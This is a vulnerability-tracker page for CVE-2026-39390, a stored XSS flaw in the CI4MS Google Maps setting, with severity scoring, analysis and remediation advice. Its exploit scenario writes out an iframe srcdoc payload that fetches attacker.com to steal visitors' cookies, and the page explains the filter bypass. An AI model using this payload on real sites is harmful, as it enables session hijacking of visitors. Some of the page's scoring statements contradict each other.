Skip to main content

Ci4ms CVE-2026-39390

| EUVDEUVD-2026-20483 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-04-08 GitHub_M GHSA-x3hr-cp7x-44r2
4.8
CVSS 3.1 · NVD
View

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Impact

While the CVSS score of 5.5 (Medium) reflects the requirement for authenticated admin-level access (PR:H), the real-world risk is significant due to several factors. The attack vector is network-based with low complexity, and the scope is changed, meaning the vulnerability impacts a different security context (unauthenticated users). The SSVC framework would classify this as important: exploitation is straightforward (low attack complexity), the technical impact is moderate (confidentiality and integrity compromise), and it is automatable. However, the high privilege requirement (admin access needed) reduces the threat actor pool to insider threats or compromised admin accounts. Organizations with strong admin credential protection and change-monitoring may face lower risk. The Medium CVSS rating accurately reflects this privilege barrier, but organizations managing sites with multiple admins or weaker credential hygiene should prioritize this fix to prevent privilege escalation chains or insider attacks that weaponize admin access.

Exploit ScenarioDerived

An insider or attacker with compromised admin credentials logs into the CI4MS admin panel and navigates to the Google Maps settings. They enter an <iframe srcdoc="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"> payload in the cMap field. When unauthenticated frontend visitors browse pages displaying the Google Map, the iframe's srcdoc content is rendered in the page context, the HTML-entity-encoded script decodes and executes, and visitor session cookies or sensitive data are exfiltrated to the attacker's server. No public exploit code is required; this vulnerability exploits standard browser iframe behavior combined with incomplete input sanitization.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Apr 08, 2026

Stored cross-site scripting (XSS) in CI4MS prior to 0.31.4.0 allows authenticated administrators to inject malicious JavaScript via the Google Maps iframe setting (cMap field) using the srcdoc attribute, which bypasses existing sanitization filters. The injected payload executes in the browser context of unauthenticated frontend visitors, enabling session hijacking, credential theft, or malware distribution. This vulnerability requires admin-level access to the settings panel but affects all unauthenticated site visitors who view pages with the malicious iframe.

RemediationAI

Vendor-released patch: CI4MS 0.31.4.0. Administrators must upgrade to version 0.31.4.0 or later, which implements proper sanitization of the srcdoc attribute alongside existing event handler filtering. As an interim workaround pending upgrade, restrict access to the Google Maps settings page (compInfosPost function) to a minimal set of trusted administrators with audited credentials, and review audit logs for any suspicious modifications to the cMap field. Additionally, implement Content Security Policy (CSP) headers on the frontend to mitigate the impact of injected iframe content. For detailed patch and upgrade instructions, consult the GitHub advisory at https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-x3hr-cp7x-44r2.

Affected VersionsENISA

ci4ms < 0.31.4.0

Affected Packages

composer ci4-cms-erp/ci4ms fix: 0.31.4.0
euvd ci4ms fix: 0.31.4.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in composer, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

CI4MS is a CodeIgniter 4-based content management system that implements input sanitization using PHP's strip_tags() function with an allowlist for the <iframe> tag and regex-based removal of event handlers matching the pattern on\w+ (such as onclick, onload, onerror). However, the srcdoc attribute is not an event handler attribute and therefore escapes both filters. The srcdoc attribute allows embedding arbitrary HTML content directly within an iframe without requiring an external src URL, and when populated with HTML-entity-encoded JavaScript, the browser's HTML decoder will execute the script in the parent page's security context. The root cause (CWE-79: Improper Neutralization of Input During Web Page Generation) stems from incomplete attribute filtering rather than inadequate tag filtering. The vulnerability specifically affects the compInfosPost() function responsible for processing Google Maps configuration, demonstrating a bypass of defensive input validation logic.

Know when Ci4ms gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 4.8 MEDIUM
AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

Lifecycle Timeline

3
CVSS changed
Jul 24, 2026 - 21:22 NVD
5.5 (MEDIUM) 4.8 (MEDIUM)
Patch released
Apr 09, 2026 - 02:30 nvd
Patch available
CVE Published
Apr 08, 2026 - 14:29 nvd
MEDIUM 5.5

DescriptionNVD

CI4MS is a CodeIgniter 4-based CMS skeleton that delivers a production-ready, modular architecture with RBAC authorization and theme support. Prior to 0.31.4.0, the Google Maps iframe setting (cMap field) in compInfosPost() sanitizes input using strip_tags() with an <iframe> allowlist and regex-based removal of on\w+ event handlers. However, the srcdoc attribute is not an event handler and passes all filters. An attacker with admin settings access can inject an <iframe srcdoc="..."> payload with HTML-entity-encoded JavaScript that executes in the context of the parent page when rendered to unauthenticated frontend visitors. This vulnerability is fixed in 0.31.4.0.

Threat Intelligence Overview

EPSS Score
0.0%
Top 99% exploitable
Threat Intel
1
1 source
Data Quality
6 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

24
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +24
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

More in Ci4ms

View all
CVE-2026-25510 CRITICAL POC
9.9 Feb 03

CI4MS (CodeIgniter 4 CMS skeleton) has a code injection vulnerability (CVSS 9.9) allowing authenticated users to execute

CVE-2026-34558 CRITICAL
9.1 Mar 30

Stored Cross-Site Scripting in CI4MS methods management allows authenticated users to inject malicious JavaScript into a

CVE-2026-34557 CRITICAL
9.1 Mar 30

Stored cross-site scripting in CI4MS role/group management allows authenticated attackers to inject malicious JavaScript

CVE-2026-35035 CRITICAL
9.0 Apr 06

Stored cross-site scripting in CI4MS before 0.31.2.0 allows an authenticated user with System Settings → Company Informa

CVE-2026-34571 CRITICAL
9.0 Apr 01

Stored cross-site scripting in CI4MS backend user management allows authenticated attackers with low-level privileges to

CVE-2026-34569 CRITICAL
9.0 Apr 01

Stored cross-site scripting in CI4MS blog category management allows authenticated users to inject malicious JavaScript

CVE-2026-34568 CRITICAL
9.0 Apr 01

Stored cross-site scripting in CI4MS before 0.31.0.0 lets an authenticated user with blog create/edit rights save JavaSc

CVE-2026-34567 CRITICAL
9.0 Apr 01

Stored cross-site scripting in CI4MS (CodeIgniter 4 CMS) allows authenticated users with blog post management privileges

CVE-2026-34566 CRITICAL
9.0 Apr 01

Stored cross-site scripting (XSS) in CI4MS page management functionality allows authenticated attackers to inject malici

CVE-2026-34565 CRITICAL
9.0 Apr 01

Stored cross-site scripting (XSS) in CI4MS menu management allows authenticated users with low privileges to inject mali

CVE-2026-34564 CRITICAL
9.0 Apr 01

Stored cross-site scripting in CI4MS menu management allows authenticated attackers to inject malicious scripts that exe

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy